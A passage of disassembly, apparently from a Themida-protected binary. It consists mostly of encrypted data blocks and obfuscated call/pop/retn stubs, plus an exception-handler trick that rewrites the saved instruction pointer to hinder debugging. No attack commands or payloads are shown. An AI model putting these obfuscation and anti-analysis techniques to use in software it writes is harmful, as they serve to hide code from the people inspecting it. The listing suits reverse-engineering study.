		dd 0E3B4488Ah, 26B53A95h, 943F08ECh, 7B85502Ch,	0DEC27E0Ch
		dd 614AEBFAh, 286F44BAh, 0E4F0FDD8h, 0C40F985Ch, 2D34A0FCh
		dd 86BA614Bh, 4BA7BE2Ah, 0B300BA61h, 0FB0D7720h, 869D495Dh
		dd 0DFBA614Bh, 9BBF01D2h, 0C9D8FC31h, 22BA614Ah, 0E9C24291h
		dd 62FEA29Eh, 32C6D14Bh, 0C25B66C4h, 0F5FBA6FBh, 0E0D6A776h
		dd 1FF5380h, 68680000h,	943E42D0h, 4F5EA270h, 90413DD5h
		dd 7E58986Ah, 688A3CC6h, 0B062E2ECh, 6FC04D0h, 0AB57EDEAh
		dd 0CF608C3h, 4C537F3Dh, 0A5C25FF2h, 0C212CBCFh, 6A66CDBFh
		dd 5836EADAh, 5D3B7E0h,	0E70B24B1h, 0CA5E12B8h,	0F113C011h
		dd 83BD1858h, 0FD0C7050h, 48645443h, 12618064h,	0E9BACA5Eh
		dd 12041BC7h, 545DCA5Eh, 0FF8BAD43h, 6838D25Bh,	0D03BF794h
		dd 0FABDCF0h, 0F5DE586Fh, 1822AFCBh, 8529156Fh,	61054261h
		dd 81069BC2h, 0E2AB547Fh, 8A360F6Ch, 9F659F37h,	0CFF3BD06h
		dd 0C26106D0h, 852B9829h, 3057EDE9h, 0C6D6DEE2h, 0B9B4A9ADh
		dd 2CDABDCh, 0D9CC000h,	2F58F113h, 9C3B21D5h, 0C9E02FCAh
		dd 0A330D0FCh, 0A65C7561h, 0D2099C4Eh, 0D5B96585h, 0F6E5F2F1h
		dd 11764B54h, 1DA59554h, 0D7F321A2h, 0C10D73D7h, 9FE8C143h
		dd 86CD7661h, 607F635Eh, 0B954F666h, 454BDCE8h,	0CCF70DC6h
		dd 0AA192BA4h, 0D86C6A06h, 9516941Ch, 4E56AE75h, 88973B85h
		dd 0E154F665h, 634BC7D0h, 989DCB5Bh, 60278FE1h,	9D38B520h
		dd 2C507063h, 7B854FA2h, 0E123B079h, 0D9C53F48h, 0DEA95B75h
		dd 0CCF831A2h, 54F6EBD5h, 922EA52Eh, 0EC9BCA2Eh, 0DFF454F6h
		dd 99304CB8h, 5C79659Fh, 0B9A4EA6h, 0B96583D0h,	0EA0A3895h
		dd 2CAF3661h, 0DF59700Ch, 86608D25h, 0FB2323D1h, 7E76FCC8h
		dd 9D281D05h, 41C30EEAh, 50F2DB7Fh, 0EA9DA730h,	60FCA0A0h
		dd 71ECA72h, 6054F663h,	0D6A0F754h, 0F1E2B600h,	0C67F5AA6h
		dd 0DB9D3CAh, 54F67B16h, 4F72626Fh, 0D6DAE92Dh,	1DA3597Ah
		dd 0F6A7AAB9h, 0E9AE0354h, 0B71B7F1Bh, 54F6A7A8h, 98E7B001h
		dd 35h,	0C67E54F8h, 3F66922Eh, 9854F6A7h, 0CDCFB80Bh, 1B4AAE12h
		dd 74CA5E24h, 3A9385Fh,	24243BA7h, 217DCA5Eh, 5E24AEB5h
		dd 9BA07CAh, 0AB799EBBh, 14836157h, 0FA02D200h,	51F3DEFAh
		dd 0F40EC7B3h, 58E8E410h, 0EE16C09Ch, 58ECEA16h, 0E913C09Ch
		dd 5ED8EF0Bh, 0E418BAA6h, 89577220h, 4C781E7h, 83000000h
		dd 3C8704EFh, 0C895C24h, 0E3895324h, 4C381h, 0EB830000h
		dd 241C8704h, 2414895Ch, 442D68h, 240C8900h, 0FDEF1468h
		dd 24148B07h, 8304C483h, 248904ECh, 24048124h, 4, 0BB535259h
		dd 106B62CCh, 4245C31h,	8418F5Bh, 0CC087181h, 8B106B62h
		dd 8952240Ch, 4C281E2h,	81000000h, 4C2h, 24148700h, 2434FF5Ch
		dd 4C4815Ah, 0E9000000h, 0FFFC49CCh, 0E851A10Bh, 6FEE2B14h
; ---------------------------------------------------------------------------


loc_5E501C:				; CODE XREF: Themida_:loc_5E0941j
		mov	eax, 7FE348Eh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0E9h, 0F6h, 0BBh
		dd 21AAFE60h, 92B4C74Fh, 0BABB951Ah, 9C20F852h,	3C80A14Dh
		dd 1CFC800Dh, 24D56C6Bh, 0CDA05D0Ch, 4F8ABA68h,	0E382A553h
		dd 67FCF479h, 15ACF65h,	4B60267Fh, 0D5F21952h, 0BE84Dh
		dd 15AE0000h, 13B621F8h, 0A2D2C30Bh, 5E2AB5CEh,	8E8h, 37812500h
		dd 889955D6h, 7E8C9h, 64F0000h,	105587CDh, 8D0F47h, 59000000h
		dd 75C68158h, 0F000067h, 487h, 0C18B5000h, 0FA9BB5Ah, 0EB812B9Dh
		dd 2B9CF5FAh, 0C4E28166h, 0E93E8B93h, 13h, 50CC87BEh, 1CC41E5Fh
		dd 0D4638863h, 0A3993E69h, 811D424Ch, 0A31993F7h, 59BA511Eh
		dd 580DE249h, 0DECCF781h, 0B5B5258Fh, 819CF781h, 8B667A4Dh
		dd 663E89D6h, 1C4AD881h, 0B502EE83h, 0E94E4E99h, 10h, 400D5BC4h
		dd 8CB9A531h, 2EFFEEBBh, 633A612Dh, 1EB81h, 850F0000h
		dd 0FFFFFF99h, 1820Fh, 0E9FC0000h, 400h, 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 0E4h	dup(0)
		dd 56h,	45h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5E66B2
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5E5538
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E5538	proc near		; CODE XREF: Themida_:005E5530p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5E5538	endp

; ---------------------------------------------------------------------------
		sbb	[edx+1585BD89h], edi
		cli
		pop	es
		jl	loc_5E555C
		mov	[ebp+7FA1CF9h],	esi


loc_5E555C:				; CODE XREF: Themida_:005E5550j
		mov	eax, [ebp+7FA1F3Dh]
		push	0
		push	edx
		call	sub_5E556D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E556D	proc near		; CODE XREF: Themida_:005E5565p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5E556D	endp

; ---------------------------------------------------------------------------
		db 66h,	72h, 0E9h
		dd 0Ah,	91C95AC2h, 0D5A203E9h, 95892FDEh, 7FA19E9h, 4244439h
		dd 8E850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0DCC7BFC3h, 5999A46Eh, 8B6660A3h
		dd 6830FD9h, 0F000000h,	81h, 0BD836100h, 7FA3569h, 4D840F00h
		dd 0F5000000h, 3B93858Dh, 6A07FAh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0F8231FC3h, 0F1B58B60h
		dd 3107FA1Bh, 0FA16099Dh, 0E0FF6107h, 0BE960h, 3ACA0000h
		dd 0B700BBBEh, 455CFEDCh, 99BD3100h, 6107FA14h,	21DD858Bh
		dd 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B40E39C3h, 0A5F3CFE7h, 4244439h,	23850Fh
		dd 0C7F90000h, 0FE3A2085h, 107h, 0CDB50900h, 0E907FA1Eh
		dd 0Dh,	7AFFDAE3h, 9063A468h, 0AB4B84D4h, 6A60C5h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8992F1C3h, 0FA1C21BDh, 0C890F07h, 0F000000h,	68Bh, 79BD8900h
		dd 0E907FA24h, 0Ah, 29299D89h, 7FAh, 1B80000h, 87000000h
		dd 0FE3BBE85h, 75C00B07h, 71B5FFF6h, 8F07FA15h,	0FE3A1885h
		dd 6A206A07h, 6595FFFFh, 8307FA06h, 0FA0611BDh,	8740007h
		dd 95FF006Ah, 7FA012Dh,	461BD83h, 740107FAh, 80680Dh, 0FF6A0000h
		dd 66595FFh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0C7F0F6C3h, 35BD89E7h, 2B07FA1Eh
		dd 91BD01C0h, 8B07FA0Ah, 6A282454h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0C6F0C350h
		dd 830FD816h, 1, 0C18589F5h, 6A07FA06h,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 31EAC352h
		dd 0FA059595h, 3CBE07h,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 65255C3h, 316FF7AAh
		dd 0FA28A19Dh, 7403F507h, 6A2424h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8501F8C3h, 7FA122Dh
		dd 4119D89h, 0AD6607FAh, 7E9h, 35D1C200h, 0B6BCB4CDh, 24244403h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D2C35242h
		dd 0C6B08035h, 13E916D6h, 93000000h, 0FE129581h, 327CF8BAh
		dd 0ED32BEF3h, 85D22C47h, 609021CFh, 5E8h, 0E9969B00h
		dd 5956E7EAh, 0F506158h, 1289h,	0C8F0F00h, 0E9000000h
		dd 7, 113F9DD3h, 90167A55h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 4C35545h, 3C56CD6Fh, 60603669h, 8B0Fh
		dd 7E90000h, 0ED000000h, 5EE64707h, 616109A4h, 6A78408Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 89A2C351h, 42BC8051h, 26E13FADh, 3A20BD83h
		dd 0F0007FEh, 0E685h, 8D8B6000h, 7FA0971h, 2800Fh, 6B40000h
		dd 52505061h, 61616060h, 5060310Fh, 5A310F52h, 890F58h
		dd 61000000h, 489585Ah,	11870F24h, 0E9000000h, 0Ch, 6A111A3Bh
		dd 0D8EF32E0h, 763BB3CCh, 31A18D89h, 448B07FAh,	95892C24h
		dd 7FA0B21h, 8E950h, 966C0000h,	0BD939A44h, 4895AECh, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 578847C9h, 8D35627Bh, 0FDEC7E85h, 51006A07h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 60B34C82h
		dd 0D0FF61F5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0E4C35747h, 1A3D5389h, 6860F03h, 31000000h, 0FA03799Dh
		dd 8B526007h, 0FA333195h, 3615807h, 60282444h, 10E8h, 10952F00h
		dd 0CF753007h, 7E95C511h, 0C658F205h, 820FCEh, 5E000000h
		dd 6810Fh, 0BD030000h, 7FA25F5h, 18408B61h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0ECC35040h, 0B529098Fh
		dd 7FA0CD1h, 52006A40h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 97D194B4h, 9E97EC3h, 92000000h, 0AC85F146h
		dd 0EBC85ADBh, 3A1C8589h, 8E0F07FEh, 1,	6A58F9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 9221FCC3h, 1D7D9D31h, 708B07FAh, 53006A78h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 34E7A33Ah
		dd 2A06D25Fh, 85890338h, 7FA1755h, 0F81CC683h, 0BB98509h
		dd 99607FAh, 0FA2E3D9Dh, 7C81FC07h, 2424h, 870F1000h, 0E0h
		dd 21C9BD31h, 609007FAh, 91B9C68Bh, 61344B04h, 0DE950h
		dd 0D6480000h, 9E5AF950h, 3C96B4EFh, 90EE1E29h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CDC35141h, 88C0FE6h
		dd 60000000h, 0E18166F8h, 896113B8h, 0FA29398Dh, 24448B07h
		dd 55006A28h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 52E4403Ah, 0B7E0957Fh, 0AE9903Ch, 60000000h
		dd 87B272E4h, 0B99E9C70h, 0BE95097h, 0E5000000h, 0DCE635B0h
		dd 8469CA5Fh, 6A90E7CEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 76CFC352h, 0FCE5523Ah
		dd 1A4DBD29h, 858D07FAh, 7FDEC7Eh, 6FE08060h, 1859BD8Bh
		dd 0FF6107FAh, 61B509D0h, 0F907FA27h, 8B576096h, 850F59C6h
		dd 6, 13AD8589h, 36107FAh, 0E9242474h, 12h, 0BDA9CA9Fh
		dd 202785BAh, 95F1B61Fh, 0FBE19AC2h, 8DF90F4Ah,	0FA3559BDh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0D88B60BFh, 1141B50Bh, 606107FAh, 0AD6169B0h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 66C35242h
		dd 0BF0C2751h, 9D895484h, 7FA15EDh, 0A800Fh, 0B0600000h
		dd 810F92h, 61000000h, 24247C81h, 10000000h, 0C8870Fh
		dd 8B600000h, 0FA1E81B5h, 0D99D8907h, 6107FA16h, 1D999D89h
		dd 605007FAh, 15830Fh, 0FE80000h, 86000000h, 83258570h
		dd 722F926Fh, 0E0AB889Bh, 515A4C6Dh, 6159DA8Bh,	0F240489h
		dd 68Bh, 0A4B46000h, 89616160h,	0FA1E9D95h, 24448B07h
		dd 53006A28h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0E96050F8h, 0Bh,	464C47CDh, 940CCE1Bh, 50B99BC9h
		dd 820F52h, 0F000000h, 0F08B6631h, 8961585Ah, 6A2404h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0CCFC59C3h, 1A18509h, 858D07FAh, 7FDEC7Eh, 15ED9D29h
		dd 0D0FF07FAh, 6F99589h, 440307FAh, 7E92424h, 6A000000h
		dd 0A26EB243h, 29600492h, 0FA26BDB5h, 9E807h, 0B97B0000h
		dd 34100C8Ah, 0F95B346h, 83h, 0AB615900h, 98D8960h, 0E907FA2Eh
		dd 8, 2D0E5075h, 0AFE64641h, 0FA81F861h, 10000h, 79A820Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 9700DBC3h, 45316028h, 0C55BD8Dh, 6A07FAh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8B0FA6C3h, 0Ch, 7E9h, 97909C00h, 556C58B8h, 418589ADh
		dd 8107FA31h, 24247Ch, 0F100000h, 0D387h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 88BF6076h, 6E950F9h,	63000000h, 0E763490Fh, 24048974h
		dd 59D8589h, 448B07FAh,	6A2824h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0F55255C3h, 9E950h, 78770000h
		dd 8D1D00A1h, 895163F3h, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8D141EC3h, 0FDEC7E85h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 4D93EA9h, 0DAEA4A0Ch, 11558D89h,	0D0FF07FAh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 79C35343h
		dd 24244403h, 2D958531h, 0B52907FAh, 7FA0399h, 0C890F90h
		dd 0F000000h, 682h, 0F525000h, 50585A31h, 0BE9h, 6CD9F00h
		dd 3287053h, 1B327493h,	6AABF890h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 8694C355h
		dd 0B94B423Ah, 62CCF9BAh, 0ADBD8960h, 0F07FA25h, 388h
		dd 2FD68000h, 0F5BD8D61h, 6A07FA24h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 17FBC353h
		dd 6AADF82Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 80C8C352h, 247C81F8h, 28h, 39870F10h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 857EC355h, 68F0Fh, 9D890000h
		dd 7FA0709h, 6E9h, 803F0600h, 50178F5Ah, 50605250h, 5A310F52h
		dd 310F6158h, 0D78B6660h, 61DF8B66h, 489585Ah, 0CE924h
		dd 6BE30000h, 7DAFCC14h, 0E43A18F7h, 8B0F748Ch,	15h, 8E960h
		dd 980D0000h, 0AD49F142h, 958B8D34h, 7FA1191h, 24448B61h
		dd 13E92Ch, 54EE0000h, 7B759478h, 0C95CA2C8h, 686906B3h
		dd 960D29CDh, 0EE950DBh, 0B9000000h, 554254A8h,	9E4A08ADh
		dd 0E614759Fh, 240489DDh, 89F98B60h, 0FA1971B5h, 870F6107h
		dd 6, 7558509h,	858D07FAh, 7FDEC7Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0F1C35646h,	456AE418h, 0ED85298Eh
		dd 0FF07FA11h, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0C968F598h, 0E9F51A17h
		dd 14h,	0BB3A4924h, 0B757A4CCh,	0E95B302Dh, 25135865h
		dd 0A0195FC1h, 6800Fh, 85890000h, 7FA1D41h, 28244403h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0FFC35747h
		dd 9D311DFEh, 7FA0A01h,	53006AABh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 3EAEDE7h, 0C68160D5h
		dd 39F3C7FCh, 0B7DB8166h, 8589619Bh, 7FA1D99h, 1C8DFF5Eh
		dd 8307FE3Ah, 0FE3A1CBDh, 0A750007h, 0B58DC033h, 7FE493Eh
		dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h,	502C2444h
		dd 0EC7E858Dh, 0D0FF07FDh, 28244403h, 8ADF8B97h, 0FE3A1885h
		dd 74C08407h, 75073A04h, 0C032574Ch, 5EFD75AEh,	0FC52FB2Bh
		dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah
		dd 66EBD166h, 973D8D1h,	50413566h, 49F38166h, 75CEFE54h
		dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h
		dd 74D03B5Ah, 0C6835E0Fh, 0C185FF04h, 0E907FA06h, 0FFFFFF5Dh
		dd 800FFC5Eh, 1, 13E9F9h, 0B0FA0000h, 0E7F531F0h, 588C8866h
		dd 7FE36B50h, 3D94E03Ch, 0C1858B65h, 6A07FA06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0AB86C356h, 0D1FC6636h, 56006AE0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0B2A4892Fh
		dd 0D7486F99h, 8503D4C9h, 7FA24F5h, 1E8B0Fh, 850F0000h
		dd 18h,	13E9h, 0FF027700h, 0ABD99F92h, 0E935D583h, 935A2C8Fh
		dd 1CD3F37Dh, 0BEh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0AA1FA414h, 6DBAD566h
		dd 6A96BF4Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0BF38C355h, 192A0110h,	9FDC485h
		dd 0FA03F18Dh, 89AD6607h, 0FA03F185h, 2E0C107h,	2BA9B531h
		dd 850307FAh, 7FA3559h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 37C35646h, 5E9E7DBh, 96000000h, 2C8806A0h
		dd 7FBB6660h, 61C1B62Bh, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 8D89371Fh, 7FA2E3Dh, 52006AADh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 7C8188CCh, 2424h, 870F1000h,	122h, 25BD2960h, 8B07FA1Ah
		dd 509061CEh, 0F820F52h, 0E9000000h, 0Ah, 0DCBF94AAh, 9D9195E6h
		dd 310FA5E5h, 0AE9h, 0C5E47900h, 1DCF310Ah, 5AF78A32h
		dd 8A605058h, 525060ECh, 585A310Fh, 0F297D8B8h,	9061616Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 23C35343h
		dd 0F971D46Bh, 0DE9CC09h, 0C9000000h, 954DDFB7h, 0EF9CEFB6h
		dd 0A74630E2h, 9E9h, 97312200h,	87A43C23h, 448B24C2h, 8F0F2824h
		dd 6, 264D9D01h, 605007FAh, 9E85250h, 2D000000h, 8DA54DEFh
		dd 20A8750Bh, 0F310F59h, 8Bh, 0E9585A00h, 6, 0F241A19Bh
		dd 8961F95Ch, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 3CDF60C3h, 0BD89D640h, 7FA24DDh
		dd 0EC7E858Dh, 8D8907FDh, 7FA1769h, 6AD0FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 64C87C3h
		dd 0BFF1807Ch, 27D19D29h, 440307FAh, 85892424h,	7FA2171h
		dd 2195B529h, 448907FAh, 11E91C24h, 0B0000000h,	0A774A672h
		dd 4E783EE6h, 2F81ED1Ch, 84FB2Bh, 157185C6h, 0C70007FAh
		dd 0FE3BBE85h, 7, 2085C700h, 7FE3Ah, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0D2EFC355h, 16F03F36h, 9A18952h, 0FA061D95h,	0ADB58907h
		dd 6107FA03h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	21C35242h, 62B9631Bh, 0C2094F7Bh, 6A0008h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0D3738BC3h, 0C9DF939Ch, 3559858Bh, 13E907FAh, 59000000h
		dd 5C4A969Ah, 0BAF70FD1h, 83C8E297h, 0B5E5ADA0h, 294AEBCBh
		dd 0FA319195h, 11E907h,	0FEE40000h, 0DE99A394h,	6221AC0Bh
		dd 3FA9AC53h, 6BE25C0Dh, 3F904D2h, 50006AC2h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 694095DFh
		dd 0AE9A0D2h, 4F000000h, 973238D3h, 0DD06DF2Ah,	6A96ADh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 173396C3h
		dd 0E9930DD4h, 10h, 0FF747E22h,	0A314A014h, 1FF6EC19h
		dd 0A60A48CCh, 19B589ADh, 2907FA04h, 0FA0B018Dh, 247C8107h
		dd 24h,	0EE870F10h, 0F8000000h,	0FE9h, 0F448C600h, 931DCE0h
		dd 880D33F4h, 0AFA9BCFDh, 0EE990h, 26B30000h, 0EB28E8A5h
		dd 1ED3D5E9h, 0F916D990h, 5E950h, 0F95B0000h, 90CFF8C3h
		dd 1860Fh, 8BF90000h, 60282444h, 11880Fh, 0CE90000h, 6A000000h
		dd 3E455A96h, 0AFDE55DDh, 608C1C9Fh, 58D98166h,	88B86666h
		dd 506161C9h, 60605250h, 743ABB61h, 0F610063h, 0E9525031h
		dd 9, 0B09F331Eh, 1BE602Fh, 0F310FC8h, 80h, 5A585A00h
		dd 24048958h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	94C35343h, 0EC7E858Dh, 606007FDh, 27D19589h, 816607FAh
		dd 6119F2C2h, 0B1A1BA66h, 6AD0FF61h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0C63FC355h
		dd 8922B40Bh, 0FA241995h, 0FD8CE907h, 870FFFFFh, 6, 1EE5BD09h
; ---------------------------------------------------------------------------
		cli
		pop	es


loc_5E66B2:				; CODE XREF: Themida_:005E5528j
		lea	eax, [ebp+7FE4FA2h]
		push	0
		push	ebp
		call	sub_5E66C3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E66C3	proc near		; CODE XREF: Themida_:005E66BBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5E66C3	endp

; ---------------------------------------------------------------------------
		db 74h
		dd 72635F0h, 317DC276h,	0FA0CA5B5h, 0F609007h, 389h, 0D38B6600h
		dd 5061F0B2h, 12840Fh, 0DE90000h, 4F000000h, 70ED65ACh
		dd 0E97BB4A2h, 3C2D0B45h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 95894F8Ch
		dd 7FA11C9h, 35FF64h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0D8B2C356h,	8381F9B9h
		dd 8BF9CF2Bh, 0E8602404h, 7, 0B1352D7Ah, 6627AC71h, 5A4916B8h
		dd 7E9h, 46F18900h, 8995AE96h, 29858961h, 6A07FA09h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 4C9EC355h, 3F36D2EFh, 13E916F0h, 61000000h, 560D69A5h
		dd 432DF07Ch, 69306B5Fh, 8718DAE2h, 8964E9B6h, 25h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 609E28C5h, 525CBA66h, 61FA8B66h, 4D54858Dh, 6A07FEh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8933CFC3h, 0FA2829BDh, 1608907h, 0FCC8A60h, 28Bh, 61616000h
		dd 2AEE9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0A779B617h, 5292D895h, 0DB8B9BCDh
		dd 0E8h, 0ED815D00h, 7FE4D4Dh, 12FF9CBCh, 61BD8300h, 7FA04h
		dd 858B1874h, 7FA1419h,	8B0000C6h, 0FA343585h, 0C607h
		dd 1C0D95FFh, 0FF6007FAh, 0FE3624B5h, 28858D07h, 5007FE36h
		dd 3820858Dh, 0FF5007FEh, 0FA334595h, 0CC48307h, 55006A61h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 8B471274h, 7B1AC5F4h, 6AF508C7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0A3E6C350h
		dd 9A139F3h, 0FA0C2995h, 20B58D07h, 6A07FE38h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0DFB7C350h, 0EFB6954Dh, 5E9EF9Ch, 0F2000000h, 47A8F2B5h
		dd 2F19BD8Dh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 1BD834C3h, 0F607F68h, 686h, 3CF28100h
		dd 0B6167F50h, 0B5896112h, 7FA17C1h, 0F003E80h,	5184h
		dd 0EE96000h, 0F0000000h, 0A402FA40h, 84AA753Dh, 834D3551h
		dd 0A461F917h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	23C35141h, 8D0F08C9h, 10h, 0BE9h, 8B91900h, 459E10D6h
		dd 3AF78F3Ah, 0FFFFA7E9h, 0B8F8FFh, 0F000000h, 2088h, 85BE6000h
		dd 0E94C639Ah, 14h, 61724DEAh, 0E9E98711h, 96AA6FCBh, 1A085D9Ah
		dd 0F564F360h, 6AAA61h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0C3AB99C3h, 890FEEB2h, 6, 1D7D9D89h
		dd 0B8F807FAh, 7, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0C4C35747h, 4C88A67Eh, 942BCAB1h, 0AD9BD89h, 0E9F807FAh
		dd 14h,	0C0237BC6h, 3042D1B9h, 870FE1E6h, 0BF770107h, 0D64E3299h
		dd 351585C7h, 107FAh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 5801AEC3h, 8FDF29AFh
		dd 187D8D29h, 8D8D07FAh, 7FA4F53h, 6890Fh, 0B5290000h
		dd 7FA0371h, 24059589h,	0E1FF07FAh, 2BAD8D29h, 5C8B07FAh
		dd 0E8550C24h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FE4FACh
		mov	eax, [ebx+0B8h]
		mov	[ebp+7FE3624h],	eax
		lea	eax, [ebp+7FE4D46h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		pusha
		sub	[ebp+7FA1CB5h],	esi
		mov	edx, esi
		popa
		push	0
		push	ebp
		call	sub_5E6AE8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



